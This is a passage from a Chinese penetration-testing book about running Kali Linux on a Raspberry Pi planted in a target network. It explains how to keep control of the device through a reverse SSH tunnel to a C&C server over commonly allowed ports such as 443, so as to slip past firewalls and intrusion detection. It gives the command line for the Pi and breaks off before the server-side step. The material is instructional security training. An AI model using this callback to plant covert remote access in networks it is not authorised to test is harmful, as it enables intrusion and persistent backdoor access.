本節書摘來異步社群《樹莓派滲透測試實戰》一書中的第2章,第2.9節,作者【美】joseph muniz(約瑟夫 穆尼斯) , aamir lakhani(阿米爾 拉克哈尼),更多章節内容可以通路雲栖社群“異步社群”公衆号檢視。
前面已經說過在遠端地點用樹莓派做滲透的優點。但将樹莓派放到目标網絡後,首要的問題是要怎樣控制這台樹莓派。最明顯和靈活的做法就是kali linux上的ssh。
因為kali linux是一套完整功能的linux作業系統,可以通過ssh控制整個系統;然而,從外面連入的ssh連接配接可能會被防火牆或其他的安全措施攔截。許多機構都會部署安全措施,以攔截接入的連接配接,避免自己的網絡被開後門。在白盒評估測試中,也許可以明确地要求在防火牆上開放端口設定,以通路到樹莓派的ssh服務,如圖2-19所示的那樣。但即使公司政策不反對這一做法,但實際操作中很難實作,因為使用場景涉及多個地點,它們由不同的管理團隊控制。此時反向ssh就是管理kali linux樹莓派的好辦法了。
在反向連接配接中,是由用戶端連向伺服器端,也是由它初始化到伺服器端的連接配接,而不是伺服器連到用戶端。當然在這兩種情況下,都是由伺服器端控制用戶端。這點與很多後門程式類似。為了使用友善,我們把這種技術用于系統管理。
許多入侵檢測和攔截系統都會檢查出ssh類型的流量,無論是從哪個端口進出。例如,即使同樣采用443端口,ssh流量和正常的https也還是會有差異。
使用ssh指令的r開關來建立連向監聽端的反向連接配接。監聽端的裝置處于監聽狀态,等待接受反向ssh連接配接。在設定的場景裡,c&c伺服器就是監聽端。遠端主機(樹莓派)上使用的指令文法是:ssh -r [綁定的位址:]遠端端口:本地主機:本地端口[6]。
r開關定義了遠端樹莓派要和哪個外網端口連接配接,以及如何發起連接配接。換而言之,還需要選擇一個外網端口,讓遠端的樹莓派可以連過來。大多數機構對往外連的請求過濾得并不嚴格,使得往外連的做法比标準的ssh接入更有效。一般防火牆都會開放包括22、80、443和53等tcp端口,也就是用戶端通常可以自由地連接配接外網這些端口。
某些嚴格限制外連的協定檢測裝置,如下一代防火牆、下一代ips(入侵檢測系統)和進階代理伺服器可能會阻斷這些連接配接。
本地端口是樹莓派上某個服務的監聽端口。在本場景中,運作的是ssh服務,是以本地端口預設是22。也可以把預設端口改得更隐秘些,或者使用加密通道,這部分内容會在本章後面介紹。總之這條指令會在c&c主要伺服器上打開一個用于管理遠端ssh的tcp端口,它在c&c伺服器端等着接收樹莓派的連入。而本地端口則是樹莓派上運作ssh服務的實際端口。
在樹莓派的例子裡,輸入以下指令:
ssh -fn -r 443:localhost:22 [email protected]<code>`</code>
在c&c伺服器端,打開指令行終端,輸入以下指令: